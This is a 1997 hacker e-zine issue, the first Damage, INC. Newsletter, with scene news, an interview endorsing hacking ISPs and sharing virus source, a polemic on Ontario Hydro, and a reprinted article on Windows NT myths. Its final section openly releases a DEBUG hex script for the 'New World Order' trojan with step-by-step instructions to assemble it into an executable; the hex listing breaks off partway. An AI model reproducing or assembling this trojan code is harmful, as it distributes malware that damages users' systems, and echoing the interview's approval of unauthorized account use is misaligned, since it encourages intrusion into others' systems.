We are living one of the biggest revolutions of our +time. The Internet? Think about what you imagine the internet will be +in 10 years? Think about how in history class, one of the projects will be +"the history of the internet" We are living it baby, and once you realize +this, you understand the importance of preserving free speech, and +condemning censorship. (all you internet-porn-kings! :)) + The conclusion is this... Welcome to the future of H/P/A/C/V + +(c)1997 written by The Journalist 04/09/97 + +It's 11 o'clock... Do you know where your hard drive is? ;) This is the +local h/p news section. The state of the group ati (access to information) +is now in question. The ati web page lasted mere weeks and is no longer up. +The Crypt (ati's whq) wasn't online for the entire summer and ati_net was +basically dead. Not only that, tck disappeared into the abyss and wasn't seen +on any local h/p boards...until recently when he resurfaced. This commentary +isn't meant to bash ati. I'm just reporting the news as it exists and stating +the facts. The main point is that ati is inactive and hasn't released anything +since May 1997. Is it the beginning and the end for ati? Will tck resurrect +the group? I'm not going to draw any conclusions. We'll just have to wait and +see what develops. + + +{INTERVIEWS} AND INTERROGATIONS - +A SPECIAL INTERVIEW WITH THE JOURNALIST: + +The following text is a recent interview that BLACKENED conducted on FoI with +the newest member of Damage, INC. + +-B is BLACKENED +-TJ is The Journalist + +Introduce yourself to the readers of the Damage, INC. Newsletter. -B + +If you don't know me already, I run a h/p support board in (519). I have +been in the bbs scene for a long time, and many will know me as a creative +and innovative thinker :) -TJ + +What made you become interested in the whole h/p scene? -B + +Hmm... that's a good question Blackened. I would have to say it started a +few years back when I came across some txt files on The Digital Network. I +had a 2400 at the time, and Text files were easy to get. I started reading +about hacking, and more of the anarchy, (ripping off pop machines and the +like :)) Basically it snowballed from there. I found other h/p boards in the +area, and started calling LD to &TOTSE and other famous sites. The rest as +they say is history. -TJ + +;) After that, why did you decide to start FoI and run your own board? -B + +Well I think a small history is needed here, because I decided to run a board +pretty soon after I started bbs'ing. I started as a PD board. And +progressed to Warez (under the bbs ICE COLD :)) When I realized how pointless +warez were, I decided to convert over to h/p, which has been one of the best +decisions I ever made. h/p has always had a small following, and I guess I +hoped that running FoI would attract otherwise warez geeks to a more +fulfilling interest. -TJ + +How long has FoI been online and supporting h/p now? -B + +I would have to say about 18 months give or take 5 years :) hehe no, +probably 18 months to 2 years. -TJ + +That's cool. Would you describe FoI as being more h/p related or general +information and ideas? -B + +umm.. let me think about that one. For those who have bravely ventured thru +the file bases of FoI, I'm sure you'll note the diversity of files online. +I like to have h/p as the focus, but let's face it, sometimes you just want +to read about something other than hacking UNIX or such. FoI is based on +Information - regardless of topic. -TJ + +For those that haven't called FoI that might be reading this newsletter, what +reason would you give for them to call your board? -B + +hehee :) a sales ad eh? No, FoI is different. If you are sick of warez, or +sick of certain people in the warez scene, you should call FoI. If you are +haunted by the corruption in our current political system, you should call +FoI. If you like the idea of taking advantage of the big corporations (Bell, +etc) you should call FoI. There is something for everyone at FoI. Except +maybe the pups. -TJ + +Now that you've discussed FoI a little and described it to our readers, I'd +like to ask you what difference you think being a Damage, INC. Member and FoI +being the new Damage, INC. Dist. Site will make (to yourself, FoI and 519)? -B + +I expect Damage, INC. will boost user interest in FoI. For myself, Damage, +INC. represents an organization where the member's interests are the same as +my own. It is very rewarding. I know I will learn new things by being a +part of Damage, INC. And I know for a fact that an FoI/Damage, INC. +Combination will have a strong, positive effect on the diminishing (519) +scene. -TJ + +How do you think the Damage, INC. Newsletter and interviews such as this one +will affect the local h/p scene? -B + +By providing local, up-to-date information and support, the Damage, INC. +Newsletter will open a lot of users eyes to a more intelligent way of +bbs'ing. We constantly refer to this as a "revolution", and I +whole-heartedly believe the Damage, INC. Newsletter can continue to provide +unbiased, useful information, thus resulting in a more enlightened h/p scene +with much more activity. -TJ + +Do you know of any other local h/p groups? -B + +Not as of yet, but I expect to see many "wannabees" pop up trying to imitate +us. Damage, INC. and FoI are the foundation of the h/p scene in (519), +simply because of our long standing presence in the community. We demand +respect, we get respect, because of a stability not found in most other +groups. (Commenting on the recent Sike dismemberment, and other groups which +could not make it). All the power to any other h/p groups that start, and +I myself will fully support any groups, but only if they appear solid, and +interested. -TJ + +That's an excellent answer. Now to a more personal question. Have you ever +been idolized and "worshipped" by any local users that are new to the h/p +scene? If so, is it something that you dislike? -B + +hehehe, well which hacker hasn't been idolized by Blade Runner but that's +not a bash. In the past many inexperienced users have been at awe over my +knowledge of h/p and related topics, and I tend not to really care if they go +overboard a little :) This is such a new, changing way of bbs'ing that I +like to help people where I can. -TJ + +Haha. ;) I've had my own experiences with Blade Runner. Anyways, you've +done so much to spread information and educate the users that call FoI, but +is it ever tiresome to be asked lame questions such as "How do I build a +beige box?" or "How do I hack....whatever?" by users? In essence, I want to +know if it becomes annoying to be asked questions about information that's +already online and available on FoI. -B + +Exactly, Blackened. Honestly? It's insulting. I go through all the time and +effort to get files online, make sure all files have descriptions, so when a +newbie asks me such a question I usually have 4 letters for him - RTFM -TJ + +There's been so much debate recently about bbsing, the internet etc. as it +relates to the overall h/p scene. Do you think there's anything wrong with +quality h/p web sites? Or, do you believe that the h/p scene should remain +on a smaller scale... with boards and users that "know each other"? -B + +That is a monumental question, and I'm sure you don't want me to type pages +of my opinion :)... hehe, I have thought a lot about the internet's effect on +the bbs scene, and I'm saddened to watch something I've grown to love slowly +diminish into the shadows of the Internet. I came to the realization +recently though, that this is simply because we're letting it rot away. Its +time to take back the streets. Well, bad terminology, but i have nothing +against the Internet, in fact many of the files on FoI come from the Net. +Its a great source of information, but it can never compare to the intimacy +of a well-run bulletin board system. -TJ + +I completely agree with that. The internet is good for distribution, but +doesn't have the same feeling as boards. On the other hand, I think it's +good for distribution purposes. So, do you think Damage, INC. should setup +it's own web site in the future for world wide distribution? (at the same +time continue to support boards such as FoI). -B + +Absolutely. We will have the best of both worlds. -TJ + +Now that we've discussed the internet etc. what future plans do you have in +store for FoI? How do you think boards will change in the next 5 years? ;) +-B + +ahh, that is a very interesting question that I have not given that much +thought to. I think we will see a merge of the bbs scene and the internet +in the 21st century. Each medium complements each-other, and I like to use +this analogy - the bbs scene is like a small village. The internet is NY +City. The two places are worlds apart, but must somehow live together in +harmony. To accomplish this, some laws are set by the "big guy", and others +are allowed to be defined by each individual community/village. If you +understand what I'm saying, then good, but if not, then that's understandable +because that was kinda cryptic :) -TJ + +I do, but I can't speak for the readers. It's nearing the end of 1997, do +you think the future of h/p is a bright or dismal one? Also, do you have +faith in the new people entering the h/p scene? Is there any hope that +they'll learn and help to evolve and progress h/p? -B + +They say there's no such thing as a problem child, its a "problem-parent." +Its up to you, me, and the person reading this right now to make sure we +teach our own h/p values, and ways of thinking to the younger generation. +That means, the future of h/p rests on our shoulder's right now. If Damage, +INC. and FoI went down right now, the h/p scene would die. Its the truth. +But I look on the bbs's I'm on, and *most* do have an earnest H/P/A/C/T/V +section. This pleases me, so I think yes, there is hope. The next +generation of h/p'ers are going to be entering the dawn of a millennium. I'm +sure they'll know what to do. -TJ + +On the same note, do you agree with warez boards trying to be wannabe h/p +boards? As in, most of their file areas are filled with warez... while they +also try to support h/p by having a single file area? -B + +Pirated software originated with the same intentions as h/p. Hackers who +were broke exchanging useful software to continue their search for the truth. +Now it seems that has been forgotten, and the 0-2 day warez race is +dominating the warez culture. Warez culture has gone to shit, and I want +h/p to have nothing to do with it. -TJ + +I agree with that. Here's another interesting question... How do you feel +about newsletters and magazines that charge money for a subscription? As you +already know, the Damage, INC. Newsletter is totally free. Personally, +that's something that I believe in strongly. The spread of h/p information +shouldn't cost the users that want to learn. Do you agree or disagree with +that statement? -B + +The best things in life are free - that's all I have to say. -TJ + +Would you ever pay to call a h/p board? -B + +Not if I can get the exact same thing for free somewhere else. No I would +not pay for a h/p board. -TJ + +Okay, now that we've discussed the "pay for access" aspect of h/p boards etc. +I'd like to ask you a question about ethics. If you had the knowledge to +hack "fictional software", and a user offered to pay you to hack a board +running under that software... would you become a hacker for hire? ;) -B + +Wow!, that's a doozy of a question :) I hope I can say that I would not +"sell-out" but people do desperate things in desperate times. How much +money are we talking about, and what kind of hack does he want? -TJ + +Let's say $50 as an example, and the user/customer wants you to hack the +system and provide him with the userfile and any passwords necessary to allow +them to logon under Sysop access. -B + +Hmmm... I would promptly tell him to Fuck off. -TJ + +;) That's a good answer, and I applaud you for having the proper ethics. I +won't mention any names, but this area is famous for "phreaks" that try to +sell extenders, pbxs, other codes. -B + +Can I mention a name? :) -TJ + +That's your choice... -B + +hehe... Well its interesting because I once paid this same guy $20 for a +voicemail box 1800 system a few years back. So that kinda contradicts my +answer previously on paying for stuff, but lets just say LL is the most I'll +give out. -TJ + +Okay, that's fair enough. Do you think it's right for people to be selling +codes, internet accounts etc. in order to make profit from the h/p scene (and +take advantage of naive users that are new to the scene)? -B + +No comment. -TJ + +Okay... Do you think Damage, INC. should ever sell information such as codes, +accounts etc.? -B + +No. As long as I am part of that organization, I would not feel comfortable +selling pwords, codes etc. I *honestly* must say though, I know its hard to +turn down $20 or $50 when its handed to you like that, and I don't want to +seem like some "perfect" h/p'er because that would be more damaging, than to +admit I am human, and sometimes make mistakes. -TJ + +Yes, we're all flawed. Personally, I've been offered money ($50 and more), +but always turned it down in order to maintain my own credibility. ;) The +main reason I asked though, was because I believe if you sell codes and other +information... then you aren't teaching the person anything. That is, other +than they can just "buy anything" they want instead of experimenting and +learning by reading etc. I don't know of any perfect h/p'er, but I think +that our motives are honest and noble. What benefit do you think the Damage, +INC. Newsletter will have to this area after it's been in publication for a +few years? -B + +Just to say, you just pinned the tail on the donkey man. Look at the bible, +(and although I don't believe in Christianity, I *do* believe Jesus existed). +"Give a man a fish, feed him for a day, *Teach* a man how to fish, feed him +for a lifetime." -TJ + +Yes, that's exactly what I was trying to express. ;) -B + +And to comment on your second question; I have no doubt, those who become +dedicated readers of the Damage, INC. Newsletter will feel a fullness enter +into their lives, never experienced before. I feel it is important to stress +that while Damage, INC. does focus attention on Hacking & Phreaking; It also +takes a look at society from a whole new perspective, which is beneficial to +anyone who sees that way as a result of reading our articles. -TJ + +Do you think it's a good idea for this newsletter to include articles that +were written by people that aren't associated with Damage, INC. (as long as +they are given full credit)? -B + +Umm, that would depend on the situation really. At work I clipped out a +newspaper article from "The SUN" which looked at Di's death from a +"conspiracy" point of view. It totally enlightened me to the fact that any +situation always has two or more sides, and to be objective, you have to try +and see things from that "other" perspective ;) -TJ + +Good point. I want to change the topic to trojans now. How do you feel about +the debug script for NWO being included in this issue? -B + +I think it is a provocative move, and will certainly stir up the bbs scene +with a big plastic spoon. The outcome of releasing it can only be left up to +my imagination, but attention is a positive thing right now, and I see no +harm in including it. -TJ + +Haha (if it stirs things up, that's cool with me). Do you think it's a good +idea to include source and scripts for viruses, trojans and utilities in the +future issues? -B + +Only to teach readers something new so that they can one day make their own +viruses/virii :) I know from personal experience that looking at someone +else's code accelerates the learning process greatly. Especially if that code +is explained, line by line. -TJ + +Yes, whatever source code we include should *always* be used as a learning +tool by our readers. There's been debate for years about hacking for +information/hacking and doing damage. What's your opinion? This is the +final question. I hope you've enjoyed doing this interview. If you have any +other comments to make, feel free to write them. ;) -B + +:) Okay. Well to answer your initial question; and this is also a note to +interested readers, I learnt a lot of information for books such as hmmm bad +memory, Hacker Crackdown was one, and other various text files on Hackers +such as Phiber Optik, The Fry Guy (a very controversial case that one) and +Captain Crunch. There was a certain code of ethics that was very plain and +simple, but has been cast aside today. It is this : hacking is to learn +only. Hacking a system is to gain some new knowledge about the o/s or +computer. If a hacker modifies or deletes files in any way, they cross a +boundary in which Hacking becomes unethical. This is why hacking has gotten +such a bad name, because it causes damage. -TJ + +In your opinion though, is it okay to hack an ISP, borrow accounts, use the +internet for free? (without doing any damage to any systems)? -B + +Yes, what about you? -TJ + +Yes, I think that's fine... since it should be free. ;) Any other comments? +- B + +nope -TJ + +Okay. Thanks for sharing your thoughts and agreeing to do this interview. +It's the first of many that'll be included in the Damage, INC. Newsletter. +Hopefully, the readers have benefitted by reading this interview... and will +consider what was said here. -B + +That is all I hope too Blackened. I want to make it clear that my purpose is +to be service to neophyte h/p'ers who are genuinely interested to learn. I +will do my best to help anyone who asks my advice. This also includes FoI +Archives at 519-846-8598. Thanks Blackened, this has been fun :) -TJ + +Thanks again The Journalist. And to our readers, just remember that you could +also be featured in one of my interviews in the future. ;) -B + + +OBJECTIVE {OPINIONS} - +ONTARIO HYDRO...A MELTDOWN WAITING TO HAPPEN: + +The calamity at Ontario Hydro should have received more media attention than +it did. The general media did not cover the consequences of Hydro's +deteriorating nuclear reactors. That is what premier Mike Harris and the +fat cat executives at Ontario Hydro counted on. This newsletter is the +perfect forum to look into this issue further. Be sure to read the following +facts and objective opinions, and then formulate your own. Being an informed +person will help you to see through the government's lies and coverups. + +After intense public pressure, and a scathing 60-page study by the Atomic +Energy Control Board, Ontario Hydro's gross inefficiency has been fully +exposed. Hydro's president and CEO, Allan Kupcis couldn't resign fast enough +after it was announced that seven of Ontario's 19 operating nuclear reactors +will supposedly be shut down. + +Carl Andognini, leader of the seven member team that wrote the report +concluded that many of Hydro's problems were rooted with people rather than +nuclear technology. In Andognini's words, Hydro's management acted like a +"feudal fiefdom without professional standards, managerial expertise or, above +all, accountability." In my words, Hydro's management acted like all the +other government-controlled monopolies. Hydro has a reported $17.6 billion +invested in their plants. All they have to show for it are worn-out reactors +that have been leaking various chemicals (most recently deuterium oxide) for +nearly two decades. Andognini also reports that Hydro has "minimally +acceptable" or "below industry standards" when it comes to normal +operations or being prepared for an emergency, such as a meltdown. + +Rocked by being exposed by the truth, officials are desperately trying to +keep the big fat boat afloat. Hydro has convinced Andognini to join them. +He claims he will start initiating the recommendations in his report. +Andogini has promised to remain for 3« years. He is optimistic that he can +turn the nuclear division around. Three coal and oil-fired generating plants +have been reactivated. They will make up for the power loss that will be +caused by the dormant reactors. + +During its years as a government-controlled monopoly, Hydro has accrued a +huge debt. The Ontario government has guaranteed $24 billion of Hydro's +debt. Upgrade costs for an additional 12 reactors will cost Ontario +taypayers an estimated $3.6 billion now, and $5.8 billion over the next +four years. Of course costs will mostly likely be much more, since those +estimates come from the Ontario government. One additional cost that Hydro +didn't include is the cost of shutting down seven reactors (four at the +Pickering plant, three at the Bruce plant) over the span of a 30 year period. +Plus the closed plants will have to be staffed to monitor radiation levels. + +The fate of Ontario Hydro is still unfolding. Ontario premier Mike Harris +has been sitting on his hands, unwilling to give up the government's +communist-like believe that they need to control the hydroelectric power +industry. Andognini responds to the question of deregulation by predicting +Hydro will be ready for an "open market" in 2 years. However, competition +and deregulation are words that are foreign in this red province. + +Ontario Hydro's actions should be of great concern. Due to gross +mismanagement, Hydro's nuclear reactors have not been properly maintained +and are operating past their prime. Chemical leaks have been occurring on a +consistent basis for 20 years, although many have been covered up until +now. It is not unreasonable to agree with Andognini's finding that Hydro +is at best minimally prepared for a huge disaster. Therefore, we have old, +poorly maintained reactors and staff that are not prepared. In my opinion, +that leads me to believe that there is a realistic chance of meltdown at any +of the nuclear reactors. + +The Ontario Hydro monopoly must end. It has proven to be a total failure. +They have lost all of their credibility and should not be trusted. Hydro is +a tremendous drain on taxpayers and a disaster waiting to happen. A disaster +that could make Chernobyl look like a little bit of acid rain. The only +sensible course of action is for Hydro to get out of the power business. The +entire industry should be deregulated and opened up to competition. In the +United States, the power industry has been deregulated in some states since +1992. Since then five nuclear power plants have been shut down because they +were fiscally unreasonable. More economical ways were found to provide those +areas with power. + +Unfortunately it is business as usual at Ontario's disgraced power +monopoly. Now Ontario Hydro is talking about "shutting down the reactors +at the end of their lifespan." As the nuclear reactors continue to deteriorate, +Harris can't let go of any power. He is hellbent on becoming the dictator of +Ontario, and controlling the only source of power in Ontario gives *him* power. And +Ontario Hydro's executives (new and old) are in a mode of panic, doing +anything they can to maintain their monopoly. With no competitors +(predators) they can continue to operate under the status quo. The scandal +will be forgotten by most of the media and public until Hydro faces another +self induced disaster. We can only hope that the next one doesn't cost us all +our lives. CANDU can meltdown. + +(C)opyright 1997 Written by Damage, INC. + + +{REPORTS} FROM THE FRONT - +WINDOWS NT LIES By ED BOTT Garnered from ZDNet + +What is it about the computer industry that compels people to stretch the +truth past the breaking point? Every week we dig through a pile of press +releases, news clippings, white papers, and reviewer's guides, most of them +filled with rumors, half-truths, exaggerations, false conclusions, tap +dancing, and spin that's gone completely out of control. Not to mention +outright whoppers. + +This year, for the third straight year, we've gathered a collection of the ten +most popular lies about the trendiest technology. In 1995 it was no trouble +to round up ten lies about Windows 95. Last year we focused on the Internet. + +LIST OF LIES +Runs-anywhere +Secure +Military Standards +Crash-proof +Server Value +Notebooks +Replace Win95 +Zero Administration +Death by NC + +This year we set our sights on Microsoft Windows NT. Why NT? After Microsoft +tacked the Windows 95 shell onto NT, it was suddenly the hottest software +around, and when you're hot, people talk. But the trouble with NT is its +enormous complexity, which makes it hard to craft a simple marketing message. +That means Microsoft occasionally oversimplifies issues and smooths over the +rough edges in NT. And Microsoft bashers can have a field day using technical +trivia to reach unwarranted conclusions. +Just once, we'd like to read a press release that didn't sound like an outtake +from Jim Carrey's Liar Liar. Somehow we don't think that's going to happen +anytime soon, though. Want to know what's really going on with Windows NT? +We've got the truth, the whole truth, and nothing but the truth. +By ED BOTT + +Illustrations by REGAN HONDA +Lie 1 + +NT Works with Most PCs + +What's made DOS and Windows so successful? Arguably, it's their run- anywhere +nature. Take a shopping cart full of spare PC parts, slap 'em into a case, and +you'll be able to boot up Windows 95. But try the same experiment with NT, and +you'll probably find yourself staring at the dreaded Blue Screen of Death. +Microsoft claims that "Windows 95 supports one-third more device drivers than +does Windows NT Workstation (approximately 1,000 more drivers). . . However, +certain types of devices, such as video, audio, and PCMCIA are areas where +Windows NT Workstation support falls short of Windows 95." Right conclusion, +wrong numbers. In the interest of science, we pulled down the Windows 95 and +NT 4.0 Hardware Compatibility Lists (HCL) and started counting. +There are nearly 1,500 more entries on the Windows 95 HCL than on its NT 4.0 +counterpart. Surprisingly, there are 397 more printers and 565 more analog +modems on NT's HCL, leading one to suspect that those categories on the +Windows 95 HCL haven't been updated recently. One in three x86 systems that +work with Windows 95 sputters and dies when faced with NT. If you've got an +older audio adapter or network card, you'll probably need to replace it before +you upgrade your operating system. NT experts won't even think of purchasing +hardware without checking the HCL. Now you know why. + + +Lie 2 + +NT Is Less Secure Than Unix + +Judging by the flurry of headlines in the first half of 1997, the most popular +sport on college campuses is hacking Microsoft software. This year's most +serious NT security scare first popped up on newsgroups in March with the +release of PWDump and NTCrack, a pair of homegrown utilities that let system +administrators attack the encrypted password file on an NT machine in search +of weak passwords. The story spread to the mainstream press at Internet speed +after Electronic Engineering Times published a front-page story with the +screaming headline "'Hack' punches hole in NT nets' security." The conclusion? +System administrators should avoid NT in favor of the inherently safer Unix +operating system. + +The EE Times story was riddled with technical errors, and it completely +missed the point. Both Unix and NT have ample security features, including +industrial-strength logon routines and well-protected file systems. Any idiot +can configure any server--Unix or NT--so that its built-in security is +compromised. The new utilities are simply NT versions of well-known Unix +programs that sniff out insecure passwords by comparing them with entries in a +dictionary. For a hacker to take advantage of NTCrack, he or she would first +have to log on as a member of the Administrators group. And once an evildoer +penetrates the network, there are far more interesting things to do than +decode passwords. + + +Lie 3 + +Upgrading from Win95 Is Easy + +The single most compelling new feature in NT 4.0 is the Windows 95 shell. So +there's an easy upgrade path from Windows 95 to NT 4.0, right? Wrong. In fact, +while upgrading to NT 4.0 from any older version of Windows or DOS is +painless, installing NT over Windows 95 is impossible. +Blame it on fundamental incompatibilities in the system registries for Windows +95 and NT. While you're at it, sprinkle a heaping helping of responsibility on +Windows 95's anything-goes support for oddball hardware and virtual device +drivers (VxDs). Because NT has no way to detect installed devices, doesn't +recognize VxDs, uses incompatible hardware drivers, and may not recognize the +file system in use, Microsoft wisely chose to not even try migrating the +Windows 95 registry to Windows NT. +If you're planning to move from Windows 95 to NT 4.0, here's what you have to +do: First, check your system inventory against the official Microsoft NT +Hardware Compatibility List (at www. microsoft. com/ hwtest), and make sure +your main hard drive is formatted using the FAT file system. Next, install +Windows NT into its own directory and reinstall every application as well. +Even if you're exceptionally well organized, the upgrade will probably take +several days from start to finish. +Microsoft's Migration Market Bulletin sheepishly acknowledges the problem and +offers this bold-faced promise: "Microsoft is completely committed to fixing +this issue in the next major release of Windows NT Workstation." Now all they +have to do is figure out how. + + +Lie 4 + +NT Meets Military Standards + +Windows NT has earned a C2 rating from the U.S. National Security Agency +(NSA), the spookiest of all the shadowy spy shops surrounding Washington, DC. +That's an impressive accomplishment, but only if you look at how much red tape +Microsoft had to go through to get there. In practical terms, the C2 rating is +underwhelming at best. Here's why. +As Microsoft freely admits, no operating system is ever C2-certified. Instead, +the spymasters bestow C2 certification on a specific installation, and the +computer's operating system is only one small piece of that puzzle. If you +plan to install a C2-compliant system, don't expect to connect with the rest +of the world, either-- Microsoft chose to submit NT 3.5 for C2 approval (NT +4.0 hasn't been tested yet) using the NSA's "Orange Book" testing procedures +instead of the more stringent "Red Book." That saved time, but it means that +NT is certifiably secure only without any network connections. Would you +install a copy of NT Server without connecting it to another computer? Of +course not. But as soon as you do, you lose the C2 rating. +Gee, maybe Microsoft should have applied for the Catch-22 rating instead. . . + + +Lie 5 + +NT is Robust and Crash-proof + +Everything's relative, especially when the topic turns to the stability of +Windows. Is NT robust? Compared with Windows 95, it's as solid as Gibraltar. A +buggy application locks up Windows 95 so tight only the power switch can undo +the damage. Run the same ill-behaving app under NT, and the app itself +vanishes in a puff of virtual smoke--leaving the rest of the system running +without so much as a hiccup. +Unfortunately, robust doesn't mean crash-proof. True, you reboot less often, +but NT has a long way to go before it consistently achieves the uptime that +Unix users take for granted. A buggy driver or a memory conflict in NT's +internals typically results in STOP errors, also known as the Blue Screen of +Death, a fatal listing of hexadecimal memory addresses and module names in +bright white letters on a blue background. Even more insidious are memory +leaks, which slowly drain resources from the operating system until +performance becomes so sluggish that rebooting is the only alternative. +Unfortunately, the Blue Screen of Death isn't rare. Microsoft has created a +special Web-based troubleshooter to help you decode the top 15 STOP error +messages. Most depressing of all, these crashes are so common that they've +earned the ultimate in backhanded compliments--their own widely used acronym, +BSOD. + +WINDOWS NT LIES By ED BOTT Garnered from ZDNet + +Pt. 2: + +Lie 6 + +NT Server Is Worth More + +One box is white, the other is blue. That's not the only distinction between +NT Server (NTS) and NT Workstation (NTW), but you'll need to look at the code +under a powerful microscope to find more substantial differences. NT has only +one kernel, you see, and that core code is absolutely identical, no matter +which version you install. +Microsoft argues that NTS uses that kernel differently; according to +Microsoft, the installation process for NTS makes as many as 700 subtle +changes to entries in the NT registry, including memory- management settings +and other configuration options. There's also a bundle of utilities and system +service software in the NTS box that you won't find if you buy the +lower-priced NTW package. But the biggest difference is monetary, not +technical. At current street prices, you pay $450 extra--about a 150 percent +premium--to install NTS instead of NTW. If you plan to run a Web server at +your site, you're caught between a rock and a hard place: Even though +third-party Web servers run just fine on NTW, Microsoft's license agreement +won't let you legally run any server software if more than ten users will +access the site simultaneously. The NTS license, on the other hand, allows +unlimited connections to your Web server over the Internet; it also includes +Microsoft's Internet Information Server 3.0, which eliminates the need for +that third-party Web-server software. +There's no technical barrier to stop you from simply ignoring the license +agreement and running O'Reilly's WebSite or Netscape's FastTrack Server. Of +course, you would be violating the Microsoft license agreement, and a +disgruntled employee could turn you in to the Business Software Alliance, with +consequences including stiff fines and public humiliation. But hey--it's your +business. + + +Lie 7 + +NT Works Great on a Notebook + +If you've grown accustomed to Windows 95's world-class support for portable +PCs, your blood pressure will soar an hour into your first cross-country +flight with an NT notebook. +Windows 95 can dim the screen, shut down the hard drive, and turn off PC Card +devices to squeeze extra life out of a battery. NT doesn't do power +management, period--all systems run at full tilt until they can't run anymore. +Windows 95 lets you swap PC Cards on the fly. NT has surprisingly good PC Card +drivers, but you have to restart the system each time you add a new device if +you expect the operating system to recognize it. +Thanks to Windows 95's Plug and Play, you can slip a notebook out of its +docking station, carry it down the hall to a meeting, and begin taking notes +without missing a beat. NT forces you to reboot and choose a new hardware +profile each time you change working environments. +Microsoft promises NT 5.0 will be a better traveler. We'll see. Meanwhile, if +you need to run NT on the road, ask IBM or Digital Equipment to show you the +custom code they've written to handle power management and simulate Plug and +Play. And be sure to stock up on extra batteries. + + +Lie 8 + +NT Will Kill Windows 95 + +What do you get when you cross a conspiracy theorist with a technology +analyst? Add a dash of paranoia to your basic business- school model, and it's +easy to see patterns where none exist. Take Windows 95 and NT. When Windows +95 debuted, some analysts theorized that it was simply a placeholder that +would quietly disappear when Windows NT 4.0, Microsoft's real strategic +product, appeared. If that's true, then Windows 95 has been the most +successful disposable consumer product ever introduced. + +Windows 95 and Windows NT have completely different target markets. The former +is aimed directly at home users, for whom fun and games are a higher priority +than productivity. Windows NT, on the other hand, requires a secure logon and +refuses to acknowledge the existence of many games, which makes it a model +citizen in the corporate world. +Someday Windows 95 and NT will share a common code base. Just this year +Microsoft product planners hinted that the merged kernel will be ready in +1999. Of course, those same sources predicted that Windows 4.0 would be on +store shelves in mid-1994. Come back in 2001 and we'll tell you all about the +latest updates to Windows 95 and Windows NT. + + +Lie 9 + +Zero Administration Is Here + +Bill Gates has built an entire industry around mainframe-killing, +terminal-replacing, do-it-all-on-the-desktop, industry-standard PCs. So +longtime Windows watchers savored the irony when Microsoft announced its Zero +Administration Windows initiative. The idea behind ZAW is simple: Rein in +those maverick desktop PCs and put them back in the firm grip of network +administrators, with preconfigured, locked-down systems. +That's a convenient way to keep support personnel from having to rescue poor +dumb users, but it's hard to imagine those users willingly surrendering their +desktop PCs. Besides, it doesn't even begin to address the real burdens of PC +ownership, which still requires hours of upfront administrative effort before +a user can get to work. +Zero Administration Windows? Is Microsoft kidding? Maybe it is. One press +release from Microsoft makes this telling admission: "In effect, 'Zero +Administration' means zero administration for users." Administrators still +have to install Windows and approved applications on each user's PC, but they +won't have to clean up after those darned users. What will network managers do +Quake. + + +Lie 10 + +Network PCs Will Kill NT + +If the computer industry didn't exist, high-tech honchos like Sun +Microsystems' Scott McNealy, Oracle's Larry Ellison, and Microsoft's Bill +Gates would probably have become pro wrestlers. They've certainly mastered the +art of bluster, and the typical product demo, like a World Wrestling +Federation pay-per-view extravaganza, bears only the most casual relation to +reality. +Take the tag-team match that has pitted the Oracle Network Computer and the +Sun JavaStation against the Microsoft/Intel NetPC. Sun, which owns the Java +programming language, argues that a fleet of users equipped with Web browsers +can run any business, as long as Java is powering the servers. Oracle adds the +technical flourish of an NC Card--a smart card that unlocks your personal +profile on the network. Microsoft and Intel, of course, contend that Windows +makes a perfectly good network computer (NC), once you trim away some of its +extra features. +Don't expect your desktop computer to disappear anytime soon, however. +Dataquest, for example, forecasts that sales of network computers in all forms +may hit a few million by the year 2000. By contrast, businesses and consumers +are expected to buy more than 132 million PCs (most equipped with some version +of Windows) in the first year of the millennium. Java is a work in progress, +and it'll be years before it's widely used on desktop PCs. For most businesses +NCs will replace aging mainframe terminals, not PCs. + +*** Thanks go to Nevada for sending us the above Windows NT article. + + +{SOURCE} AND SCRIPTS - +THE NWO TROJAN: + +This is the source code and debug scripts section. We're going to try to +include a different virus, trojan or utility every month. Since this is the +first issue of the Damage, INC. Newsletter, I thought we'd start by featuring +a special trojan. The NWO trojan is in the spotlight this month. Damage, INC. +is proud to release the debug script for New World Order. If you wanted or +expected the source code, that's too fucking bad. ;) In order to use NWO, +you'll need to clip out the debug script below and save it to a file called +NWO.SCR. Then, execute DEBUG < NWO.SCR at a DOS prompt to assemble it. If you +followed those instructions properly, you'll see a file named NWO.COM that is +exactly 830 bytes. + +40-HEX magazine often used this method for including viruses etc. It's the +safest, easiest and best method to use in my opinion, thus Damage, INC. has +chosen to use debug scripts. We decided to explain how to use DEBUG in case +some readers are beginners and have no experience in this area. In future +issues, we won't explain how to use this method in detail. Always remember: + +DEBUG < FILENAME.EXT - to assemble debug script files. + +------------------------------------------------------------------------------ +N NWO.COM +E 0100 B8 52 17 BA 7E 01 3B C4 73 67 8B C4 2D 44 03 25 +E 0110 F0 FF 8B F8 B9 A2 00 BE 7C 01 FC F3 A5 8B D8 B1 +E 0120 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 0C 01 95 3F +E 0130 57 63 4A A0 99 A8 FA 5C 9B FB 67 2B 94 AC 7F A2 +E 0140 3B B2 5D 62 EA 81 7C 82 F1 0E 3D 39 3D 1F 9C D0 +E 0150 2A D8 2F C7 A5 83 60 46 86 9F EC C8 2D 2C 9B 4E +E 0160 6F 74 20 65 6E 6F 75 67 68 20 6D 65 6D 6F 72 79 +E 0170 24 B8 00 09 BA 5F 01 CD 21 CD 20 90 FD 8B F8 4F +E 0180 4F BE BE 02 03 F2 8B CA D1 E9 F3 A5 FC 87 F7 46 +E 0190 46 BF 00 01 AD 95 BA 10 00 EB 32 90 AD 95 B2 10 +E 01A0 EB 3B AD 95 B2 10 EB 3C AD 95 B2 10 EB 41 AD 95 +E 01B0 B2 10 EB 63 AD 95 B2 10 EB 64 AD 95 B2 10 EB 65 +E 01C0 AD 95 B2 10 EB 66 AD 95 B2 10 72 08 A4 D1 ED 4A +E 01D0 74 F4 73 F8 33 C9 33 DB D1 ED 4A 74 BF D1 D3 D1 +E 01E0 ED 4A 74 BE D1 D3 85 DB 74 17 D1 ED 4A 74 B9 D1 +E 01F0 D3 80 FB 06 72 0B D1 ED 4A 75 04 AD 95 B2 10 D1 +E 0200 D3 2E 8A 8F 1C 01 80 F9 0A 74 3A 33 DB 83 F9 02 +E 0210 74 26 D1 ED 4A 74 97 72 1F D1 ED 4A 74 96 D1 D3 +E 0220 D1 ED 4A 74 95 D1 D3 D1 ED 4A 74 94 D1 D3 80 FB +E 0230 02 73 1E 2E 8A BF 2C 01 AC 8A D8 56 8B F7 2B F3 +E 0240 F3 A4 5E EB 88 AC 02 C8 80 D5 00 3C FF 75 BC EB +E 0250 33 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB 08 72 +E 0260 D2 D1 ED 4A 75 04 AD 95 B2 